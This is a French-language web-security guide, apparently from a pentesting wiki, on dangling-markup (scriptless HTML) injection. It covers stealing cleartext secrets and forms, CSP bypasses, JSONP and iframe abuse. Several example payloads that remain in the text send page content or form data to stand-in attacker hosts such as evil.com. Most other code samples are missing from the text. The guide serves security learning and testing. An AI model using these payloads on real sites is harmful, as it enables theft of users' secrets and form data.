Dangling Markup - HTML scriptless injection
Résumé
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une injection HTML est trouvée. Cela est très utile si vous ne trouvez aucun moyen d'exploiter un XSS mais que vous pouvez injecter des balises HTML. C'est également utile si un secret est enregistré en clair dans le HTML et que vous souhaitez l'exfiltrer du client, ou si vous souhaitez induire en erreur l'exécution d'un script.
Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines Politiques de sécurité du contenu en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...).
Principales applications
Vol de secrets en texte clair
Si vous injectez <img src='http://evil.com/log.cgi?
lorsque la page est chargée, la victime vous enverra tout le code entre la balise img
injectée et la prochaine guillemet à l'intérieur du code. Si un secret est situé dans ce morceau, vous le volerez (vous pouvez faire la même chose en utilisant des guillemets doubles, regardez ce qui pourrait être plus intéressant à utiliser).
Si la balise img
est interdite (en raison de la CSP par exemple), vous pouvez également utiliser <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Notez que Chrome bloque les URL HTTP contenant "<" ou "\n", vous pouvez donc essayer d'autres schémas de protocole comme "ftp".
Vous pouvez également abuser du CSS @import
(il enverra tout le code jusqu'à ce qu'il trouve un ";")
Vous pourriez également utiliser <table
:
Vous pourriez également insérer une balise <base
. Toutes les informations seront envoyées jusqu'à ce que la citation soit fermée, mais cela nécessite une certaine interaction de l'utilisateur (l'utilisateur doit cliquer sur un lien, car la balise base aura modifié le domaine pointé par le lien) :
Vol de formulaires
Ensuite, les formulaires qui envoient des données vers un chemin (comme <form action='update_profile.php'>
) enverront les données vers le domaine malveillant.
Vol de formulaires 2
Définissez un en-tête de formulaire : <form action='http://evil.com/log_steal'>
cela écrasera l'en-tête du formulaire suivant et toutes les données du formulaire seront envoyées à l'attaquant.
Vol de formulaires 3
Le bouton peut changer l'URL vers laquelle les informations du formulaire vont être envoyées avec l'attribut "formaction" :
Un attaquant peut utiliser cela pour voler les informations.
Trouvez un exemple de cette attaque dans cet article.
Vol de secrets en texte clair 2
En utilisant la dernière technique mentionnée pour voler des formulaires (en injectant un nouvel en-tête de formulaire), vous pouvez ensuite injecter un nouveau champ d'entrée :
et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et les guillemets doubles suivants dans le HTML. Cette attaque mélange le "Vol de secrets en texte clair" avec "Vol de formulaires2".
Vous pouvez faire la même chose en injectant un formulaire et une balise <option>
. Toutes les données jusqu'à ce qu'un </option>
fermé soit trouvé seront envoyées:
Injection de paramètre de formulaire
Vous pouvez modifier le chemin d'un formulaire et insérer de nouvelles valeurs pour qu'une action inattendue soit effectuée :
Vol de secrets en texte clair via noscript
<noscript></noscript>
est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge JavaScript (vous pouvez activer/désactiver JavaScript dans Chrome à chrome://settings/content/javascript).
Une façon d'exfiltrer le contenu de la page web du point d'injection jusqu'en bas vers un site contrôlé par un attaquant sera d'injecter ceci :
Contournement de CSP avec interaction utilisateur
À partir de cette recherche de portswiggers, vous pouvez apprendre que même dans les environnements les plus restreints par CSP, vous pouvez toujours exfiltrer des données avec un peu d'interaction utilisateur. Dans ce cas, nous allons utiliser la charge utile :
Notez que vous demanderez à la victime de cliquer sur un lien qui la redirigera vers un payload contrôlé par vous. Notez également que l'attribut target
à l'intérieur de la balise base
contiendra du contenu HTML jusqu'à l'apostrophe suivante.
Cela fera en sorte que la valeur de window.name
si le lien est cliqué sera tout ce contenu HTML. Par conséquent, comme vous contrôlez la page à laquelle la victime accède en cliquant sur le lien, vous pouvez accéder à ce window.name
et exfiltrer ces données:
Attaque de l'espace de noms HTML
Insérez une nouvelle balise avec un identifiant à l'intérieur du HTML qui écrasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée:
Flux de travail de script trompeur 2 - Attaque de l'espace de noms du script
Créez des variables à l'intérieur de l'espace de noms javascript en insérant des balises HTML. Ensuite, cette variable affectera le flux de l'application:
Abus de JSONP
Si vous trouvez une interface JSONP, vous pourriez être en mesure d'appeler une fonction arbitraire avec des données arbitraires :
Ou vous pouvez même essayer d'exécuter du javascript :
Mauvaise utilisation de l'iframe
Un document enfant possède la capacité de visualiser et de modifier la propriété location
de son parent, même dans des situations de cross-origin. Cela permet d'intégrer un script dans un iframe qui peut rediriger le client vers une page arbitraire :
Cela peut être atténué avec quelque chose comme : sandbox=' allow-scripts allow-top-navigation'
Un iframe peut également être utilisé pour divulguer des informations sensibles à partir d'une page différente en utilisant l'attribut de nom de l'iframe. Cela est dû au fait que vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait apparaître les informations sensibles à l'intérieur de l'attribut de nom de l'iframe, puis accéder à ce nom depuis l'iframe initial et le divulguer.
Pour plus d'informations, consultez https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Abus de <meta
Vous pouvez utiliser meta http-equiv
pour effectuer plusieurs actions comme définir un Cookie : <meta http-equiv="Set-Cookie" Content="SESSID=1">
ou effectuer une redirection (dans 5s dans ce cas) : <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Cela peut être évité avec un CSP concernant http-equiv (Content-Security-Policy: default-src 'self';
, ou Content-Security-Policy: http-equiv 'self';
)
Nouvelle balise HTML <portal
Vous pouvez trouver une recherche très intéressante sur les vulnérabilités exploitables de la balise <portal ici.
Au moment de la rédaction de ceci, vous devez activer la balise portal sur Chrome dans chrome://flags/#enable-portals
ou cela ne fonctionnera pas.
Fuites HTML
Toutes les façons de divulguer la connectivité en HTML ne seront pas utiles pour le Dangling Markup, mais parfois cela pourrait aider. Consultez-les ici: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Fuites SS
Il s'agit d'un mélange entre le dangling markup et les XS-Leaks. D'un côté, la vulnérabilité permet d'injecter du HTML (mais pas de JS) dans une page de la même origine que celle que nous attaquerons. D'un autre côté, nous n'attaquerons pas directement la page où nous pouvons injecter du HTML, mais une autre page.
SS-LeaksXS-Search/XS-Leaks
Les XS-Search sont orientés vers l'exfiltration d'informations entre origines en abusant des attaques de canal secondaire. Par conséquent, il s'agit d'une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme l'Injection CSS ou le Chargement Paresseux des Images.
XS-Search/XS-LeaksListe de Détection par Force Brute
Références
Last updated